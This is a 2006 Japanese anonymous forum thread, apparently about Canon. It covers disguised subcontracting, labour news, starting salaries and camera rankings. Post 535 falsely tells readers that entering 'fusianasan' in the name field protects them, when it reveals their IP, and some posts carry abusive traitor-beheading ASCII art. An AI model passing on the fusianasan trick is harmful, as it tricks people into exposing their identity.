日給月給制なので今月と来月は運送会社で夜と休日はアルバイト
派遣元に聞いたら支障なければOK
オレ以外にもたくさんいるらしい。
8月はラインの歩留り悪くなるね。

494 :七資産:2006/08/13(日) 00:50:00 ID:dO20xtuC
40歳近い女性社員が多いのが気の毒。




495 :名無しさん:2006/08/13(日) 01:11:16 ID:4VXYgbfI
>>491 いや、隠蔽はしてない。地元住民に説明会は開いたようだ。というか、
物凄い汚染度なんですけど・・・なんも対策してなかったんですかと。

496 :うちだけじゃないからそんなに叩かないで:2006/08/13(日) 11:17:28 ID:1tELBjvR

労災、場所偽り報告 シャープ下請け会社
http://www.asahi.com/national/update/0811/TKY200608110432.html

液晶テレビを作るシャープの亀山工場(三重県亀山市)で04年3月に
全治約1カ月の労災事故が起きたのに、シャープの工場ではない場所で
事故が発生したように偽った「労災とばし」の報告書が下請け会社によって作成され、
労働基準監督署に提出されていたことがわかった。

けがをした男性(43)は、多重な偽装請負のもとで働いており、三重労働局が実態調査に入る。

偽装請負は安全に関する責任の所在がメーカーと請負会社の間であいまいになり、
労災隠しや労災とばしが起きやすいといわれている。



497 :さささ:2006/08/13(日) 12:57:00 ID:wV6avEOg
>>男性は作業の際、PHS(簡易型携帯電話)を渡され、シャープの正社員から
>>頻繁に具体的な指示を受けていたといい、偽装請負にシャープも関与していた
>>と主張している。
>>これに対し、シャープは「元請け会社の責任者に指示していたつもり。
>>男性に直接指揮命令したとの認識はない」と偽装請負への関与を否定している。

もろ、やばいじゃんw
しーらねっと。









498 :工作員:2006/08/14(月) 09:51:53 ID:FeZhNeeO
盆休みで人イナス

499 :499:2006/08/14(月) 13:17:53 ID:PMoEh650
偽装請負の問題点は一言で言うと
犯罪者が道徳を語るみたいな感じで捉えるといい。


500 :名無しさん:2006/08/14(月) 20:25:57 ID:HkIyC44i
 週末、NHK特集「フリーター417万人の衝撃」を見た。数字を突きつけられると、驚くことばかりだ。
フリーターの数はここ10年で2倍になり、労働人口の5人に1人がフリーターである。しかもこの数字が減る兆しはまったくない。
フリーターのうち70%は正社員になりたいのになれていない。フリーターの生涯賃金は正社員の4分の1。平均納税額は正社員の5分の1。
フリーターがこのペースで増えれば、2010年には経済成長率を1.9%押し下げるという試算もある……。

 なぜこれほどまでにフリーターが増えたのか。原因の一つは言うまでもなく10年以上続いた不況である。企業は新卒社員の採用を年々減らしてきた。
もう一つは、企業競争のグローバル化だ。企業は国境などないがごとく労働賃金の最も安いところでものを作り、最も高額で/大量に売れるところで売る。
たとえばアメリカの企業や自治体がインドの安い労働市場に事務職をアウトソースして、アメリカ人ホワイトカラーの職がどんどん減っている。
今年の大統領選挙の争点にもなっている、アメリカでいま最もホットな雇用問題の一つである。
日本では、そのインドの安い労働市場に当たるものが中国の労働市場、および国内のフリーター市場といえるだろう。


501 :名無しさん:2006/08/14(月) 20:28:02 ID:HkIyC44i
 いろいろ勉強になるところの多い番組ではあったが、見終わったあとに違和感が残った.。
なぜだろうと考えてみることしばし。で、わかった。
なにか違う、というこの感じは、この番組が終始「フリーターと正社員」という二分法のレトリックで語られていた点にある。
まるで「フリーター」という別人種が日本社会に突如としてあらわれ、これから増殖していくことについての懸念を語り合う番組のようだった。
フリーターが増えると消費が落ち込み、税収も経り、年金制度もたちゆかなくなる、といった話はもちろんあったけれども、
それはフリーターでない人にとって間接的な不安に過ぎず、明日から不安で眠れなくなるような話ではない。
でも、フリーター問題は、実はフリーター以外の生活にも直接的に関係のある問題だ。
フリーターの増加は日本全体の「賃金水準を押し下げる」からである。
この番組では「賃金」というキーワードが掘り下げて語られなかった。
「フリーター現象」についてはよくわかったが、「フリーター問題」の核心については触れられていなかったように感じるのはそのせいだろう。

 今後フリーターを増やすという企業が約40%あったのに対し、正社員を増やすという企業は4%。
これはどういうことかというと、正社員の賃金水準がフリーターの賃金水準に収斂されていくということである。
しかも急速に。唯一番組のなかでこのことを示唆していたのは、フリーターと正社員を同じ賃金体系にしたある家電量販店の話である。
経営幹部以外は、すべて同じ扱いにする、とこの会社の人事担当者は言っていたが、このことこそ、フリーター問題の核心である。
番組は「正社員もうかうかしていられない時代です」みたいな話で終わっていたが、そんなどころの話ではない。
是非ともこの切り口だけでもう一本特集を組んでほしい。
ここを掘り下げなければ、絶対にフリーターを減らす「妙案」など出てきたりはしないと思うし、
フリーター本人やフリーターの親以外は、ことの深刻さについて、真剣に考えないだろう。

502 :名無しさん:2006/08/14(月) 20:32:20 ID:HkIyC44i
 私自身、かねてよりフリーターについては、社会現象として関心があったが、
フリーター問題の核心は賃金問題であるということに気づいたのは最近のことである。それは、ある本を読んだことがきっかけだ。
その本とは、エリック・シュローサー著『巨大化するアメリカの地下経済』(草思社)である。
その第二章、「いちご農場にて」のなかで、著者はカリフォルニアのいちご農場で働くメキシコの不法入国者の極貧生活を描きつつ、
これがアメリカの勤労者全員に関わる経済問題であることを鋭く指摘する。
「飢えて死にものぐるいの」不法入国者を搾取することで、生産性を追求してきたカリフォルニア農業のやり方が、いまやあらゆる業種、
あらゆる地域に広がっている。そのために「賃金が下がり、諸手当がなくなり、雇用の安定性が失われている」とシュローサーは言う。
実際、本書の指摘するところによると、アメリカの最低賃金は、68年に比べて、40%近く下がっている。
また、74年から94年にかけて、カリフォルニアのいちご生産量は3倍になる一方で、いちご摘み労働者の賃金は50%下がっている。
「カリフォルニアの生産者がメキシコの貧しい季節労働者に依存してきたせいで、アメリカ国民の農場労働意欲をそぐような賃金体系が確立した……
しかし、季節労働者たちがカリフォルニアに定住することにしたら、この仕組みはうまく働かなくなってしまう。
カリフォルニア側の負担が増すからだ――とりわけ、季節労働者たちが結婚して子供を育てるとなれば」。

503 :名無しさん:2006/08/14(月) 20:34:43 ID:HkIyC44i
 ここで「カリフォルニアの生産者」を「日本企業」に、「メキシコの貧しい季節労働者」を「正規の仕事につこうとしてもつけないフリーター」に、
「アメリカ国民」を「いま正社員としての仕事がある人」と言い換えてみたらどうだろうか。
もちろん、不法入国者とフリーターを同じように論じることはひどく乱暴であることはわかっている。
不法入国者問題はまたそれで大きな問題であり、それはそれで区別して論じるべきではあろう。
しかしフリーター問題と不法労働者問題には非常によくにた構造がある。
それは、企業にとって「調整可能」で「軽負担」の、都合のよい労働力である、という点だ。
いまのところ日本には不法入国者よりもフリーターのほうが圧倒的に数が多く、経済的インパクトも圧倒的に大きい。
そして、フリーターを雇うことは100%合法である。

 番組の終わりに、「よりよい未来にしてくための処方箋は?」という質問に対して、
経済同友会の北城恪太郎代表幹事は、「より高い賃金を払うような仕事を創出するための規制緩和」と答え、
連合の笹森清会長は、「これ以上フリーターを増やさないよう、経営、労働、政治を含めて考えるべき」と述べた。
要するに北城氏は市場に任せるべきだと言っており、笹森氏は「政治の介入が必要だと言っているわけだ。
私は、規制緩和でこの問題が解決できるとは思わない。シュローサー氏はこう警告している。
「長年、わたしたちは、"市場"に服従せよと言われ、需要と供給の法則にあらんかぎりの信頼を寄せてきた。
ここで忘れていた、いや見て見ぬふりをしていたのは、市場が効率にしか報いないという事実だ。
ほかの人間的な価値観はことごとく、邪魔物として排除される。
やがて市場は、賃金を、これ以下はないという水準にまでとことん押し下げるだろう」。

http://www.president.co.jp/pre/special/aiai/074.html




504 :ちび丸子:2006/08/14(月) 21:21:18 ID:Y9eS3rGs
>>487
G2昇格試験ってどんな内容なの?
強くしりたい。

505 :便所こおろぎ:2006/08/14(月) 22:37:50 ID:sFr//HQK
他人事?

「偽装請負」の是正促す 経団連会長、対策検討へ

 日本経団連の御手洗冨士夫会長(キヤノン会長)は13日、滞在先の大分市内で記者会見し、
実態が労働者派遣であるにもかかわらず、請負契約を装う「偽装請負」について
「キヤノンは法令違反に気付いて着々と見直している。各社もコンプライアンス(法令順守)は厳しく守らないといけない」
と述べ、産業界に是正を促した。今後、経団連として対策に乗り出す考えだ。

 御手洗会長は「請負会社は中小企業が多い。請負労働者が(請負先のメーカーなどの)訓練を受けずに、(仕事を)こなすのは難しい」とし、
偽装請負を是正するには請負会社側による労働者への教育などの対応策も必要との見方を示した。

(共同)
(2006年08月13日 22時07分)
http://www.tokyo-np.co.jp/flash/2006081301002655.html

506 :けんじ:2006/08/15(火) 16:23:41 ID:+FBGvIj1
 論文。


507 :みゆき:2006/08/15(火) 21:12:08 ID:1p8ue2iA
御手洗には笑うしかないな
多分これから先も何にも変わらない!!
ほんと、他人事。
すげーな、こんな奴が経団連の会長なんだから、日本の未来もろくでもねーよ

508 :広告きんぐ:2006/08/15(火) 21:13:46 ID:6PQuPqg0
http://blue.iruka.ne.jp/a14/iruka.cgi?0405
このBBSに自分が名言だと思っている言葉を自信満々に書いてくれ。
BBSのpasswordは ns1118 だ。

って命令形の強引な言い回しをしても2chの人達は警戒レベルが相当高いからむりだよね

509 ::2006/08/15(火) 23:32:33 ID:fHaJFXMJ
日本の未来は数字だけなら期待できるぞ。
質は大幅低下だろうがw

510 ::2006/08/15(火) 23:42:07 ID:FbUupJdj
来年からD卒で下丸子の研究所に配属される事になりました。
 (浪人留年なし)

こんな俺は幸せになれますか?あと初任給はいくらになりますか?
どこ調べても載ってなくって


511 ::2006/08/15(火) 23:47:53 ID:Bo8yB747
貴方の幸せってなに?まぁ、期待はするな。

512 ::2006/08/16(水) 01:26:19 ID:kOxpQaSq
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〜∞プーン  ".¨ー=v ''‐ .:v、冫_._ .、,_,,、_,,r_,ノ
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       ヾ,,..;::;;;::,;,::;):;:;:; .:v、冫_._ .、,_,,、_,,r;_,ノ′ ! '゛i;:;:;;!、
 〜∞プーン ヾv.;;;:ミミ彡ミミミ彡彡ミミミミ:;:;ノ   , '⌒゛   ヽ、
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         ミミ彡彡゙゙゙゙゙""""""""ヾ彡彡彡 |  |  '" i ゛| |
         ミミ彡゙;・;:国賊::;:;ミミ彡彡. . |  |,、   !, ! |
 〜∞プーン ...ミミ彡゙ .,.,・:;:・ *: ミミミ彡  。-.\f,   ,y !
         ミミ彡 '*・..,ヽ・;;´*` ,|ミミ彡 。;゜/´  ,  ,)
         ミミ彡 === 〈.:..===).|ミミ彡 ;`;;  ,/ ,;-'" ヽ
          彡|;:・ ; | ; ・: |ミ彡 ;。;ヽ  !  ヽ. ヽ
.. 〜〜∞プーン 彡|;:.,*.;..´-し`)・;:|ミ|ミ 。;。、ヽ ヽ.  ヽ、_ヽ
           ゞ| :;:; 、,!:;・: |ソ 。、   | y′   ),;冫
            ヽ ';´*.,,.・;:`ノ /
    〜〜∞プーン   \、..・;*;:/  ←逆賊 朝敵 売国奴 非国民 最重罪人
              ~; ~| |::;; ~~
          【   ゴ    ミ   】   〜〜∞プーン

513 ::2006/08/16(水) 01:27:42 ID:kOxpQaSq
                   ∧
           〜〜∞プーン | |
                  . | |    〜〜∞プーン
  〜〜∞プーン    ミミ彡ミミミ彡彡ミミミミ
           ,,彡彡彡ミミミ彡彡彡彡彡彡 〜〜∞プーン
           ミミ彡彡゙゙゙゙゙""""""""ヾ彡彡彡  
           ミミ彡゙;・;:国賊::;:;ミミ彡彡〜〜∞プーン 
  〜〜∞プーン ...ミミ彡゙ .,.,・:;:・ *: ミミミ彡
           ミミ彡 '*・..,ヽ・;;´*` ,|ミミ彡
           ミミ彡 === 〈...:===. .|ミミ彡
            彡|;:・ ; | ; ・: |ミ彡     ←逆賊 朝敵 売国奴 非国民 最重罪人
  .. 〜〜∞プーン 彡|;:.,*..´-し`)・;/|ミ|ミ 
             ゞ| :;:; 、,!:;・: |ソ  〜〜∞プーン  
              ヽ ';´*.,,.・;:;`ノ /     
      〜〜∞プーン   \、..・;*;' /
                ~; ~| |::;; ~~
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                  | |
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     /\___/ヽ      | |
    /ノヽ       ヽ、   .| |
    / ⌒''ヽ,,,)ii(,,,r'''''' :::ヘ   | |
    | ン(○),ン <、(○)<::|  | |
    |  `⌒,,ノ(、_, )ヽ⌒´ ::l  | |     <お国のために外道の首を討ち取ったぞ! 
.   ヽ ヽ il´トェェェイ`li r ;/  .| |
   /ヽ  !l |,r-r-| l!   /ヽ  | |
  /  |^|ヽ、 `ニニ´一/|^|`,r-| |
  /   | .|           | .| ,U(ニ 、)ヽ
 /    | .|       .   | .|人(_(ニ、ノノ


514 ::2006/08/16(水) 12:39:08 ID:7/Zvln0g
>510
D卒→大卒?
俺もだポ。

515 :_:2006/08/16(水) 13:17:03 ID:wDeCgksf
ドクターだろ・・・

516 ::2006/08/16(水) 13:44:25 ID:+oMJMBZ3
ドクター卒です。
初任給がわからないと、家賃の予算が立てられない。
ぶっちゃけ手取りいくらなんですか?

下丸子周辺に住もうかと思っているんですが、初任給で
大丈夫ですか?

517 :maruko:2006/08/16(水) 13:50:01 ID:2amq/Uqd
>>516
ホントに入社するなら、そんなのはすでに知ってるはずでしょ。
釣り乙

518 :516:2006/08/16(水) 15:16:59 ID:oBKt6fsY
知らないんですって。
嘘だと思うならググってみ。

519 :516:2006/08/16(水) 15:30:09 ID:oBKt6fsY
公表してないのはなんか理由があるのかも知れないんで

(手取り)ー(家賃+奨学金返済 9万)で12万くらい残れば
やっていけると思います。

これだけでも教えて下さい。

520 :maruko:2006/08/16(水) 15:40:30 ID:2amq/Uqd
>>516

ググルとかじゃなくてさ、就職活動のときそういう話するでしょ。
webとかに公開してないのは当たり前の話。

521 :_:2006/08/16(水) 18:00:28 ID:WYYOsSpM
初任給は公開してるでしょ

522 :お手:2006/08/16(水) 18:40:13 ID:rEFINSN4
>>519
たぶんムリだよ。今は寮とかないから辛いよね。

523 : :2006/08/16(水) 18:55:00 ID:AaNypXcG
そもそも内定してるなら人事に聞けばいいだろうに。
釣りもいい加減にしろよ。

524 :_:2006/08/16(水) 20:00:39 ID:wDeCgksf
自分がいくら貰えるかわからないのに入社を決める
そんな間抜けなドクターが一人くらいいてもいいじゃない

525 :516:2006/08/16(水) 20:26:26 ID:+oMJMBZ3
ごめんなさい。お騒がせしました

526 :中途内定辞退者:2006/08/16(水) 21:43:29 ID:FcyOe/jB
修士卒基本給はWEBで公開されてるから,予測したら?
中途提示額には,人気企業の驕りを感じる。
中途内定者の方,わるいとこも冷静に認識し
しましょ。どんな会社も長所,短所があります。



527 :名無しさん:2006/08/17(木) 00:08:49 ID:j9AmarX3
D卒初任給:29万

528 :____:2006/08/17(木) 11:52:23 ID:ORpSLZgv
各人の役割(職務+職責)を基礎にした賃金制度について

Q 入社後の初任給はどのようになっていますか?
A 2005年4月実績は次の通りです。(新卒定期入社の場合)
 〔高専卒〕   月給17万8,300円
 〔大学卒〕   月給20万5,000円
 〔修士了〕   月給23万3,200円


http://www.canon.co.jp/employ/faq/index.html

529 ::2006/08/17(木) 14:43:13 ID:8GeZbRTk
そんなに少ないの?
↓と大差ないじゃん・・・
http://www.kki.ne.jp/akaruku-tsb/topics-hiseikikoyoCanon0607.html
http://www.asahi.com/job/news/TKY200607300432.html

そりゃ、企業としては儲かるわな

530 :_:2006/08/17(木) 15:09:41 ID:gPhAfwGg
あたりまえだろ。
企業として、大卒だろうがD卒だろうが、使えるか使えないかのギャンブルに金を使えるか!

なんか勘違いしているだろ。

531 :516:2006/08/17(木) 17:34:25 ID:CkWcpNp6
529は俺じゃないです。みんなごめん

532 :名無し:2006/08/17(木) 17:35:32 ID:2ddpAaly
ギャンブルになってるのは,採用・面接の方法に問題がある証拠。
使える,使えないが採用時に判断できるのが,人事の能力。
あとD卒初任給も公開すべき。ちゃんと公開している会社もあるよ。

533 :初任給?(プゲラッチョ:2006/08/17(木) 19:01:05 ID:q8FQnBKG
初任給はどこの会社も似たり寄ったりだと思うが。
問題はその後の伸びだ。

534 :_:2006/08/17(木) 21:42:28 ID:gPhAfwGg
人事にそんな能力があったら、もっとましな新人が入ってくるだろう。確かに勉強はできるが、何をするか指示を待つしか能がないのはいらない。会社は学校じゃないんだから何でも用意してくれると思っているバカは採用しても無駄。

535 :1:2006/08/17(木) 23:01:27 ID:L+z3S8p/
社内や自宅で繋いでる人は2ちゃんねるの初心者ですか?書き込む際に
SG(セキュリティー・ガード)に登録しないと個人情報がバレますよ。
SGに登録せずに書き込んだ場合、あなたのパソコン内の
情報は他人に見られていると考えてほぼ間違いないでしょう。
個人情報がばれる方の多くはこの登録を怠っています。
初期の頃から2ちゃんねるにいる方達は、ほとんどの方が
このBBSのコマンドの仕組みを知っています。ですから簡単に
あなたのIPアドレス等を抜き取り個人情報を見破ってしまいます。
このコマンドの方法は決して教えないというのが初期の頃から
2ちゃんねるにいる方達の間で暗黙の了解となっていましたが、
あまりの被害の多さに心を痛めた私はあえて公開することにしました。
SGしておけばまず抜かれるコマンド自体が無効になってしまうのでどんなにスキルが
ある人でもIPアドレスを抜くことが不可能になります。SGに登録する方法は、

名前欄に「 fusianasan 」と入れて書き込みする。これだけでSGの登録は完了します。

一度登録すれば、Cokkieの設定をOFFにしない限り継続されます。
fusianasanは、正式にはフュージャネイザン、又はフュジャネイザンと読みます。
元々はアメリカの学生達の間で、チャットの時にセキュリティを強化する為に
開発されたシステムです。これを行うことにより同一人物が書き込んでいるか
どうか判別する手段が遮断されるので安心です。ぜひ書き込む前には
名前欄にfusianasanと入力してください。自分の身は自分で守りましょう

536 :非正規雇用:2006/08/17(木) 23:26:09 ID:+8SkZonA
>539
非正規雇用には、
ボーナスがありません。
退職金もありません。
企業年金もありません。
昇給もありません。
手当てもありません。
育児休暇や疾病休暇もありません。
数ヶ月単位の契約制です。
たとえ、月給が正規雇用と同じでも全く割りにあいません。


537 :さげ:2006/08/17(木) 23:31:26 ID:pDnjVrE4
>>528
院卒は入社半年で27万に跳ね上がり、翌年の昇進試験に合格すれば
25〜26歳で年収500万越えますよ。
博士卒はもっともっと高いと聞いています。


538 :不正求人500件、派遣・請負業者 東京都内:2006/08/18(金) 00:54:30 ID:cLEJ8SKR
 東京都内の人材派遣業者や請負業者がハローワークに求人申し込みを行う際、
派遣先や発注元の企業を偽っていたケースが、
今年3月以降分だけで500件以上あったことがわかった。

 都内のハローワークでは今年に入り、
「実際の派遣先が求人票に記された企業と違った」などの苦情が目立っていた。
東京労働局が3月から特別調査を実施したところ、
大半のハローワークで派遣先や発注元を偽る求人票が見つかった。

 特に都内に本社があり複数のハローワークに大量求人をしていた業者6社で、
今年3月から8月にかけて計500件以上の不正求人をしていたことが分かった。
内訳は、仕事を請け負っていない建設現場などを勤め先として示した(約400件)、
派遣契約を結んでいない企業を派遣先と偽った(約100件)など。

 メーカーが派遣業者からの労働者の受け入れを「請負」と偽るケースが全国で発覚しており、

http://www.asahi.com/life/update/0817/008.html



539 :test:2006/08/18(金) 12:35:56 ID:F1dwuJXO
今年G3試験なんだが、論文はともかくビジネス問題がようわからん。
(去年も試験後、何がダメで、何なら正しいのかすら分からん)
なにか参考書籍ない?


540 :ななし:2006/08/18(金) 14:09:18 ID:dOvHgF60
【アジア諸国(中韓除く)の反応】

★シンガポール リー元首相:
 「靖国問題も中国が心理的なプレッシャーをかけているだけ」
★台湾、李登輝前総統:
 「国のために命を亡くした英霊をお参りするのは当たり前の事。
  外国が口を差し挟むべきことではない」
★台湾、陳総統:
 「中国の反発に負けずに靖国参拝をする首相を評価」
★カンボジア:フン・セン首相:
 「戦没者の霊を弔うことは当然のこと」小泉首相の靖国参拝に理解
★インドネシア:ユドヨノ大統領:
 「国のために戦った兵士のためにお参り、当然」靖国参拝に理解
★ベトナム:
 「我々は中国や韓国のような卑怯な外交手法をとるつもりはない」
★オーストラリア・マレーシア・タイ・フィリピン:
 「私たちはまったく問題ではない。問題にするのは中国だけ」
★パラオ、レメンゲサウ大統領:
 靖国参拝に「すべての人のために祈るのは正しいこと」と支持を表明
★ソロモン諸島のケマケザ首相:
 「日本とソロモン諸島の共通の文化は先祖に感謝すること。
  英霊が祭られている場所を拝見したい」

541 :sage:2006/08/18(金) 16:14:11 ID:oY28nfwZ
今時、fusianasanに引っかかる奴なんて居るのか?

542 :sage:2006/08/18(金) 17:07:30 ID:T7HHoXlA
>>539
「管理能力開発のためのインバスケット・ゲーム」
ISBN: 4-7608-2116-3


543 :sage:2006/08/18(金) 21:23:13 ID:xOh5O4zN
引っかかる奴なんていっぱいいるだろ。キヤノンは低脳ばっかだしなwwwwww

544 :中毒:2006/08/18(金) 21:33:23 ID:X3DV8zR0
まだ2日も休みか!早く仕事したいなぁ・・・
貧乏人に9日間の休みは長すぎる。
でも、実際に仕事が始まると急に鬱になるんだけど


545 :f:2006/08/18(金) 22:02:11 ID:Qw5u2u32
はげどう。
さっさと仕事して〜



546 ::2006/08/19(土) 15:30:13 ID:/cNIdRXn
週末・祭日にサービスセンターを開けないなんてユーザーをバカにしてるとしか思えないんですが・・・
普通の人は平日は仕事や学校。フリーター・ニート・老人専用窓口ですか?

ニコンは週末も開いてるのに。

547 : :2006/08/19(土) 18:18:43 ID:LOdv263u
はいそうです。
ユーザーを馬鹿にしています。
文句がある人はニコンでも使えばいいでしょw

548 :協力:2006/08/20(日) 12:43:49 ID:ukStG54g
>>544
漏れは協力会社の者だけどキヤノンの仕事をやって鬱になったんで
会社を辞めることにしましたよ。なんか、せいせいしたです。

それにしても、協力って嫌な言葉だなぁ。

549 :協力:2006/08/20(日) 12:48:50 ID:ukStG54g
>>547
漏れはキヤノンに依存している協力会社の者で、その体質が嫌で辞める。
キヤノンの製品は、もう買うことは滅多に無いだろう。
一眼レフカメラは評価してるけど他はねぇ…

550 :あああ:2006/08/21(月) 01:28:17 ID:wAizuYVv
鬱鬱欝ってみんな、鬱って言えば簡単に済むと思っているね。
もっとガッツをだしなよ。全力でやってダメなら自分でも諦めつくだろうが、
情けないよ。女がそんな男に惚れるわけない→出生率低下

551 :あああ:2006/08/21(月) 01:39:39 ID:HMDskJRE
>>550
(゚Д゚)ウゼェェェ

552 :550:2006/08/21(月) 01:57:17 ID:wAizuYVv
そのウゼェエという気持ちを大切にガッツを出して生きるんだぞ

553 :ガッツお粗末@フリーバカンス中:2006/08/21(月) 09:15:28 ID:s/1I/3Pi
昔と比べ、心の病で長休とるやつ増えたな…。

554 :.:2006/08/21(月) 17:30:21 ID:/MwJS0mQ
私もキヤノンのデジカメを初めて買ったけど、富士フイルムの方が良かったかなと、少し後悔してます。

使い勝手が良くないのと、撮影した画像が何か暗い。
調整してもやっぱり暗い。

ということで、まだまだ使えるけれど、次は富士フイルムにします。

555 ::2006/08/21(月) 17:54:31 ID:j98ZBIUg
長谷川京子の動画あったら下さい。
胸元から紙が出てくるやつ。

556 ::2006/08/21(月) 20:53:39 ID:P5Bgayl8
>>555
ようつべいけ

557 ::2006/08/21(月) 21:15:37 ID:ufsRRJnY
>>554
キヤノンのデジカメで不具合で悩まされている奴が沢山居るのに
使い勝手が良くないとか贅沢な文句だなw

558 ::2006/08/21(月) 22:33:30 ID:j98ZBIUg
キヤノンてトヨタ式大好きだよね。
そろそろ問題発覚?

559 ::2006/08/21(月) 22:49:45 ID:P5Bgayl8
>>558
ハセキョーは見つかったのか?

560 : :2006/08/21(月) 22:56:04 ID:Ev8WeL0s
電気・機械問題はいつも発覚。

隠してるのは物理・化学分野の奴らだろ。

561 ::2006/08/21(月) 23:00:00 ID:j98ZBIUg
長谷川京子みつかってません。

562 : k:2006/08/22(火) 10:01:14 ID:X1UqvN94
http://bcnranking.jp/freepaper/12-00009414.html

BCN総研 最新デジカメ販売占拠率調査

1位 キヤノン KISSDNB-LKIT EOS KissデジタルN ブラック・レンズキット 10.8

2位 キヤノン KISSDNB-BODY EOS KissデジタルN ブラック・ボディ 8.6

3位 キヤノン KISSDNB-WKIT EOS KissデジタルN ブラック・ダブルズームキット 7.5

4位 キヤノン EOS 30D ボディ EOS 30D ボディ 7.2

5位 ニコンD200


キヤノン 54,4

ニコン 27,3

ペンタックス7,7%

オリンパス5.3%

ソニー3,1%


563 :-:2006/08/22(火) 19:07:14 ID:Cu9PNRUo
シェア自慢しか出来なくなった工作員も可愛そうだ・・・

564 : :2006/08/22(火) 21:31:32 ID:WQzrqGPN
シェア自慢=人気=評価
なわけだが

565 :京子:2006/08/23(水) 00:47:33 ID:yq8cPk+y
>>555
http://www.youtube.com/watch?v=GH0jCQeSMt0

566 :_:2006/08/23(水) 07:46:06 ID:VCnz+M1f
請負労働者、7割の組合で最低賃金以下 電機連合調査

 電機メーカー各社の労働組合でつくる電機連合(中村正武委員長、組合員約62万5000人)は、
非正社員の雇用待遇について初めて調査した結果をまとめた。毎年の春闘で要求する最低賃金
(18歳で月15万円)を、派遣労働者に対しては6割以上、請負労働者にも7割以上の組合が適用
できていない実態が判明。電機業界では、人件費の抑制につながる派遣・請負労働者の活用が
進んでいるが、最低賃金がほぼ全員に適用されている正社員との待遇格差が改めて浮き彫りになった。


http://www.asahi.com/business/update/0823/048.html

567 :英二:2006/08/23(水) 10:23:15 ID:kXCuQ6Ob
デバイス、コントローラー、企画が地理的に離れていて連携が悪いから、本当にお客様が必要とするものが作れてない。

568 : :2006/08/23(水) 10:40:03 ID:hJisq5V9
プロが選ぶデジタル一眼レフ 総合ランキング
http://digitalcamera.impress.co.jp/oshirase/P80.pdf

【総合順位】 (解像力、色彩の正確さ、ダイナミックレンジ、高感度ノイズの総合計点数より)

1位 キヤノン EOS-1D Mark II N

2位 キヤノン EOS-1Ds Mark II 
同2位 キヤノン EOS 5D 
同2位 キヤノン EOS 30D 

5位 キヤノン EOS Kiss Digital N

6位 ニコン D200 ニコン D2Xs

8位 ニコン D50

9位 フジフイルム FinePix S3 Pro

10位 オリンパス E-330 ソニー α100

12位 ペンタックス *ist DS2

13位 ニコン D70s

14位 オリンパス E-500

15位 ペンタックス *ist DL2 ニコン D2Hs

17位 オリンパス E-1

小山荘二 総合評価

569 ::2006/08/23(水) 16:09:01 ID:I6ZF0uAN
565さん、ありがとー

570 :ppp:2006/08/23(水) 18:36:28 ID:F9vKDrrF
CMOSってどうなのよ?

571 :.:2006/08/24(木) 19:16:47 ID:0HTR4WIU
ちんこちんこ

572 :ID:F9vKDrrF:2006/08/24(木) 21:41:08 ID:54UJNfpZ
(_ _)ノ_彡☆バンバン!(≧∇≦)ぶぁっはっはっ!!

573 ::2006/08/24(木) 22:14:07 ID:C6cznO5J
御社のシュレッダーは安全ですか?

M光紹介のOEMは…

574 :ななし:2006/08/24(木) 23:42:36 ID:lPvYZiN7
テレ朝で都市型集中豪雨の特集やってたね
東京の下水で50mm/hに対応できるところが約60%
今週大阪で降ったのが100mm/h、昨年東京で降ったのは50mm/h超
200mm/h対応?って、どこに排水するのか?まさか下水じゃあるまい。

大田区は地下に貯水地作って下水に直接雨水を流さないように指導が出てるような気がするが、丸子にはあるのかな?

この話にピンとこない役員は、勉強不足、知ってそうな人に聞いといてね。
食堂前に池作ってる場合じゃないだろ・・・


575 :575:2006/08/26(土) 00:38:25 ID:wdFy6qkS
納涼祭毎月キボンヌ

576 :B:2006/08/26(土) 02:05:40 ID:jB1AIvhf ?BRZ(1002)
B棟つかいずらいんだけど・・・・・・・・
なんでリフレッシュルームがないんだよ。
L棟みたいに椅子つくれよ禿

577 :-:2006/08/26(土) 15:54:19 ID:32KDFdVg
不具合は全部公表せろ。
命に関係ないからと放置するな

578 :ななし:2006/08/26(土) 16:47:11 ID:yt2u3R9G
>>577
>不具合は全部公表せろ。
B棟のトイレ
B棟の庭園
H等裏の庭
通勤経路の社員
下丸子の総務
・・・

579 :CSSですが:2006/08/26(土) 17:43:45 ID:rlyehiDs
弊社では自社のMFP等の商品を疎かにし、他社製品のソフトや電話機に力を
入れています。弊社のアホなトップをなんとかしてください

580 ::2006/08/26(土) 20:04:50 ID:D5uPdFqN
IPカメラやっぱ撤退だってな

581 :名無しさん:2006/08/26(土) 20:16:55 ID:r7XqRp0o
僕がキャノンに居たころ、僕の先輩が重大なミスを犯しました。
このことが原因でその先輩が関わった製品が大変な故障をし、その製品は全品回収されました

しかし、あろうことか先輩は僕にすべての責任をなすりつけたのでした。
そのことが原因で、僕は社内で「糞エンジニア」のレッテルを貼られてしまったのです。

1年後、僕は1年の任期で大阪支社への異動を命じられました。
大阪では別に支障もなく働いていましたし、トラブルを起こすことも無かったので、予想通り任期通りに東京に戻れると思ったのですが。
会社が告げた次の勤務先は、青森でした。

それも、青森には支社もなく、支社開設のための現地調査。
そのために1年、僕は青森に居ました。

任期の1年が終わろうとしていたとき、僕は小さなオフィスで倒れました。
原因はストレスでした

それから僕は前の会社を辞め、今の極小設計事務所に居ます。
前の会社に比べて給料は100万円ほど少ないですが、環境もよく、満足しています。

582 :名無しさん:2006/08/26(土) 21:52:48 ID:i6PzKtfr
>>581
大阪にも青森にも支社はありませんが、何か?

583 :名無しさん:2006/08/26(土) 21:55:35 ID:r7XqRp0o
>>582
マーケティングの方です
http://cweb.canon.jp/co-profile/company/location.html

584 :ありえねぇ:2006/08/26(土) 21:57:57 ID:8VnN7KPo
エンジニアが大阪支社?青森?任期1年?ましてやキャノン?
キヤノンは失敗しても誰も責任とらないし追求もされない
最大の長所であり短所でもある。


585 :w:2006/08/26(土) 22:27:13 ID:nQz3fCSz
ぼろですぎ

586 :-:2006/08/27(日) 00:27:35 ID:MjjHzABf
>>583
先輩何したの?

587 :s:2006/08/27(日) 00:51:13 ID:FFwNq6rz
5年ほど前のこのスレ読んでると社員の不満が多いね。
最近はあんまりそういうのはない。あきらめたのか、不満ある層は
見限ってどっかいったのか。あるいは改善されたのか。

588 :587:2006/08/27(日) 00:51:22 ID:9JFw+E7b
エッチ棟の屋上で待ってます by味多来不二夫

589 :589:2006/08/27(日) 00:56:39 ID:9JFw+E7b
>>587
このスレには社員さまは来ないよ。
ここは偽装請負の社員がダベるスレだから社員さまは人事カフェにでもカキコしてろ

590 :一応技術者:2006/08/27(日) 01:01:21 ID:6m3OyxVh
大企業と言うものはどこでも
そんなもんよ。頭がいいやつ
=誠実な人とは限らない。偉く
なるほど業績や上司にばかり気
にして、製品知識や技術は無頓着になる。
